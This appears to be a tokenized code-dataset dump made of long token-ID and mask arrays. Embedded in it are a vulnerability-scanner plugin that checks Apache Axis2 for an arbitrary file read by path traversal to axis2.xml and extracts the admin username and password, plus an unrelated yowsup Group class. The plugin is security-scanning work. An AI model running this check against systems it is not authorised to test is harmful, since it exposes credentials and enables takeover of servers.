32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
superhuahua/xunfengES
celerynode/vuldb/axis_config_read.py
4
1509
# coding:utf-8 import re import urllib2 def get_plugin_info(): plugin_info = { "name": "Axis2任意文件读取", "info": "通过此漏洞可以读取配置文件等信息,进而登陆控制台,通过部署功能可直接获取服务器权限。", "level": "高危", "type": "任意文件读取", "author": "wolf@YSRC", "url": "http://www.securityfocus.com/bid/40343/info", "keyword": "tag:axis", "source": 1 } return plugin_info def check(host, port, timeout): try: url = "http://%s:%d" % (host, int(port)) res = urllib2.urlopen(url + '/axis2/services/listServices', timeout=timeout) res_code = res.code res_html = res.read() if int(res_code) == 404: return m = re.search('\/axis2\/services\/(.*?)\?wsdl">.*?<\/a>', res_html) if m.group(1): server_str = m.group(1) read_url = url + '/axis2/services/%s?xsd=../conf/axis2.xml' % (server_str) res = urllib2.urlopen(read_url, timeout=timeout) res_html = res.read() if 'axisconfig' in res_html: user = re.search('<parameter name="userName">(.*?)</parameter>', res_html) password = re.search('<parameter name="password">(.*?)</parameter>', res_html) info = u'%s 存在任意文件读取漏洞 %s:%s' % (read_url, user.group(1), password.group(1)) return info except Exception, e: pass
gpl-3.0
[ 3, 2803, 26, 1624, 13, 24, 199, 646, 295, 199, 646, 4011, 18, 421, 199, 318, 664, 63, 2718, 63, 815, 837, 272, 3589, 63, 815, 275, 469, 267, 298, 354, 582, 298, 11220, 18, 5498, 120, 163, 227, 238, 29303, 8400, 120, 22924, 401, 267, 298, 815, 582, 298, 14333, 249, 13201, 230, 17627, 98, 163, 121, 238, 163, 113, 253, 25521, 23681, 8400, 120, 22924, 166, 228, 236, 27029, 29303, 24181, 232, 27328, 12356, 13201, 250, 16398, 235, 23460, 120, 17087, 229, 17797, 101, 9051, 115, 6075, 109, 12356, 14333, 249, 13201, 230, 29570, 102, 20407, 111, 12163, 254, 28371, 25521, 15545, 113, 24586, 165, 237, 116, 22924, 6587, 236, 30521, 162, 248, 102, 31038, 17087, 239, 20061, 401, 267, 298, 1896, 582, 298, 166, 105, 247, 10450, 110, 401, 267, 298, 466, 582, 298, 5498, 120, 163, 227, 238, 29303, 8400, 120, 22924, 401, 267, 298, 2502, 582, 298, 28070, 32, 57, 12447, 401, 267, 298, 633, 582, 298, 1014, 921, 1544, 14, 4416, 12283, 14, 957, 15, 17949, 15, 2167, 14761, 15, 815, 401, 267, 298, 6691, 582, 298, 1450, 26, 3127, 401, 267, 298, 1365, 582, 413, 272, 789, 272, 372, 3589, 63, 815, 199, 199, 318, 1104, 8, 1102, 12, 1844, 12, 2653, 304, 272, 862, 26, 267, 1166, 275, 298, 1014, 13827, 83, 2689, 68, 2, 450, 334, 1102, 12, 1109, 8, 719, 430, 267, 522, 275, 4011, 18, 14, 10890, 8, 633, 435, 1994, 3127, 18, 15, 5950, 15, 513, 15803, 297, 2653, 29, 2593, 9, 267, 522, 63, 600, 275, 522, 14, 600, 267, 522, 63, 1360, 275, 522, 14, 739, 342, 267, 340, 1109, 8, 470, 63, 600, 9, 508, 7901, 26, 372, 267, 333, 275, 295, 14, 1733, 2258, 15, 3127, 18, 19814, 5950, 60, 7985, 6697, 2862, 31, 21452, 1743, 6697, 28, 19814, 65, 4206, 522, 63, 1360, 9, 267, 340, 333, 14, 923, 8, 17, 304, 288, 1654, 63, 495, 275, 333, 14, 923, 8, 17, 9, 288, 1586, 63, 633, 275, 1166, 435, 1994, 3127, 18, 15, 5950, 3149, 83, 31, 10515, 29, 5093, 2190, 15, 3127, 18, 14, 1652, 7, 450, 334, 1000, 63, 495, 9, 288, 522, 275, 4011, 18, 14, 10890, 8, 739, 63, 633, 12, 2653, 29, 2593, 9, 288, 522, 63, 1360, 275, 522, 14, 739, 342, 288, 340, 283, 3127, 888, 7, 315, 522, 63, 1360, 26, 355, 922, 275, 295, 14, 1733, 4827, 5329, 536, 628, 751, 985, 1743, 17140, 15939, 5329, 4206, 522, 63, 1360, 9, 355, 2505, 275, 295, 14, 1733, 4827, 5329, 536, 628, 2060, 1743, 17140, 15939, 5329, 4206, 522, 63, 1360, 9, 355, 2256, 275, 399, 5956, 83, 7094, 256, 247, 21448, 5498, 120, 163, 227, 238, 29303, 8400, 120, 22924, 163, 121, 238, 163, 113, 253, 450, 83, 2689, 83, 7, 450, 334, 739, 63, 633, 12, 922, 14, 923, 8, 17, 395, 2505, 14, 923, 8, 17, 430, 355, 372, 2256, 272, 871, 2186, 12, 325, 26, 267, 986, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2803, 26, 1624, 13, 24, 199, 646, 295, 199, 646, 4011, 18, 421, 199, 318, 664, 63, 2718, 63, 815, 837, 272, 3589, 63, 815, 275, 469, 267, 298, 354, 582, 298, 11220, 18, 5498, 120, 163, 227, 238, 29303, 8400, 120, 22924, 401, 267, 298, 815, 582, 298, 14333, 249, 13201, 230, 17627, 98, 163, 121, 238, 163, 113, 253, 25521, 23681, 8400, 120, 22924, 166, 228, 236, 27029, 29303, 24181, 232, 27328, 12356, 13201, 250, 16398, 235, 23460, 120, 17087, 229, 17797, 101, 9051, 115, 6075, 109, 12356, 14333, 249, 13201, 230, 29570, 102, 20407, 111, 12163, 254, 28371, 25521, 15545, 113, 24586, 165, 237, 116, 22924, 6587, 236, 30521, 162, 248, 102, 31038, 17087, 239, 20061, 401, 267, 298, 1896, 582, 298, 166, 105, 247, 10450, 110, 401, 267, 298, 466, 582, 298, 5498, 120, 163, 227, 238, 29303, 8400, 120, 22924, 401, 267, 298, 2502, 582, 298, 28070, 32, 57, 12447, 401, 267, 298, 633, 582, 298, 1014, 921, 1544, 14, 4416, 12283, 14, 957, 15, 17949, 15, 2167, 14761, 15, 815, 401, 267, 298, 6691, 582, 298, 1450, 26, 3127, 401, 267, 298, 1365, 582, 413, 272, 789, 272, 372, 3589, 63, 815, 199, 199, 318, 1104, 8, 1102, 12, 1844, 12, 2653, 304, 272, 862, 26, 267, 1166, 275, 298, 1014, 13827, 83, 2689, 68, 2, 450, 334, 1102, 12, 1109, 8, 719, 430, 267, 522, 275, 4011, 18, 14, 10890, 8, 633, 435, 1994, 3127, 18, 15, 5950, 15, 513, 15803, 297, 2653, 29, 2593, 9, 267, 522, 63, 600, 275, 522, 14, 600, 267, 522, 63, 1360, 275, 522, 14, 739, 342, 267, 340, 1109, 8, 470, 63, 600, 9, 508, 7901, 26, 372, 267, 333, 275, 295, 14, 1733, 2258, 15, 3127, 18, 19814, 5950, 60, 7985, 6697, 2862, 31, 21452, 1743, 6697, 28, 19814, 65, 4206, 522, 63, 1360, 9, 267, 340, 333, 14, 923, 8, 17, 304, 288, 1654, 63, 495, 275, 333, 14, 923, 8, 17, 9, 288, 1586, 63, 633, 275, 1166, 435, 1994, 3127, 18, 15, 5950, 3149, 83, 31, 10515, 29, 5093, 2190, 15, 3127, 18, 14, 1652, 7, 450, 334, 1000, 63, 495, 9, 288, 522, 275, 4011, 18, 14, 10890, 8, 739, 63, 633, 12, 2653, 29, 2593, 9, 288, 522, 63, 1360, 275, 522, 14, 739, 342, 288, 340, 283, 3127, 888, 7, 315, 522, 63, 1360, 26, 355, 922, 275, 295, 14, 1733, 4827, 5329, 536, 628, 751, 985, 1743, 17140, 15939, 5329, 4206, 522, 63, 1360, 9, 355, 2505, 275, 295, 14, 1733, 4827, 5329, 536, 628, 2060, 1743, 17140, 15939, 5329, 4206, 522, 63, 1360, 9, 355, 2256, 275, 399, 5956, 83, 7094, 256, 247, 21448, 5498, 120, 163, 227, 238, 29303, 8400, 120, 22924, 163, 121, 238, 163, 113, 253, 450, 83, 2689, 83, 7, 450, 334, 739, 63, 633, 12, 922, 14, 923, 8, 17, 395, 2505, 14, 923, 8, 17, 430, 355, 372, 2256, 272, 871, 2186, 12, 325, 26, 267, 986, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
laayis/yowsup
yowsup/layers/protocol_groups/structs/group.py
59
1287
class Group(object): def __init__(self, groupId, creatorJid, subject, subjectOwnerJid, subjectTime, creationTime, participants=None): self._groupId = groupId self._creatorJid = creatorJid self._subject = subject self._subjectOwnerJid = subjectOwnerJid self._subjectTime = int(subjectTime) self._creationTime = int(creationTime) self._participants = participants or {} def getId(self): return self._groupId def getCreator(self): return self._creatorJid def getOwner(self): return self.getCreator() def getSubject(self): return self._subject def getSubjectOwner(self): return self._subjectOwnerJid def getSubjectTime(self): return self._subjectTime def getCreationTime(self): return self._creationTime def __str__(self): return "ID: %s, Subject: %s, Creation: %s, Creator: %s, Subject Owner: %s, Subject Time: %s\nParticipants: %s" %\ (self.getId(), self.getSubject(), self.getCreationTime(), self.getCreator(), self.getSubjectOwner(), self.getSubjectTime(), ", ".join(self._participants.keys())) def getParticipants(self): return self._participants
gpl-3.0
[ 533, 5611, 8, 785, 304, 272, 347, 636, 826, 721, 277, 12, 1572, 1304, 12, 14875, 42, 344, 12, 5420, 12, 5420, 14919, 42, 344, 12, 5420, 1366, 12, 7143, 1366, 12, 623, 20989, 29, 403, 304, 267, 291, 423, 923, 1304, 3698, 275, 1572, 1304, 267, 291, 423, 9986, 42, 344, 263, 275, 14875, 42, 344, 267, 291, 423, 5875, 3698, 275, 5420, 267, 291, 423, 5875, 14919, 42, 344, 257, 275, 5420, 14919, 42, 344, 267, 291, 423, 5875, 1366, 755, 275, 1109, 8, 5875, 1366, 9, 267, 291, 423, 8782, 1366, 420, 275, 1109, 8, 8782, 1366, 9, 267, 291, 423, 31790, 420, 275, 623, 20989, 503, 1052, 339, 347, 664, 1304, 8, 277, 304, 267, 372, 291, 423, 923, 1304, 339, 347, 664, 17523, 8, 277, 304, 267, 372, 291, 423, 9986, 42, 344, 339, 347, 664, 14919, 8, 277, 304, 267, 372, 291, 14, 362, 17523, 342, 339, 347, 664, 13528, 8, 277, 304, 267, 372, 291, 423, 5875, 339, 347, 664, 13528, 14919, 8, 277, 304, 267, 372, 291, 423, 5875, 14919, 42, 344, 339, 347, 664, 13528, 1366, 8, 277, 304, 267, 372, 291, 423, 5875, 1366, 339, 347, 664, 13921, 1366, 8, 277, 304, 267, 372, 291, 423, 8782, 1366, 339, 347, 636, 495, 721, 277, 304, 267, 372, 298, 998, 26, 450, 83, 12, 26793, 26, 450, 83, 12, 9750, 425, 26, 450, 83, 12, 9750, 707, 26, 450, 83, 12, 26793, 593, 4977, 26, 450, 83, 12, 26793, 4703, 26, 450, 83, 60, 78, 1262, 20989, 26, 450, 83, 2, 450, 60, 355, 334, 277, 14, 362, 1304, 1062, 291, 14, 362, 13528, 1062, 291, 14, 362, 13921, 1366, 1062, 291, 14, 362, 17523, 1062, 221, 291, 14, 362, 13528, 14919, 1062, 291, 14, 362, 13528, 1366, 1062, 3872, 3680, 904, 8, 277, 423, 31790, 14, 1612, 4059, 339, 347, 664, 1262, 20989, 8, 277, 304, 267, 372, 291, 423, 31790, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 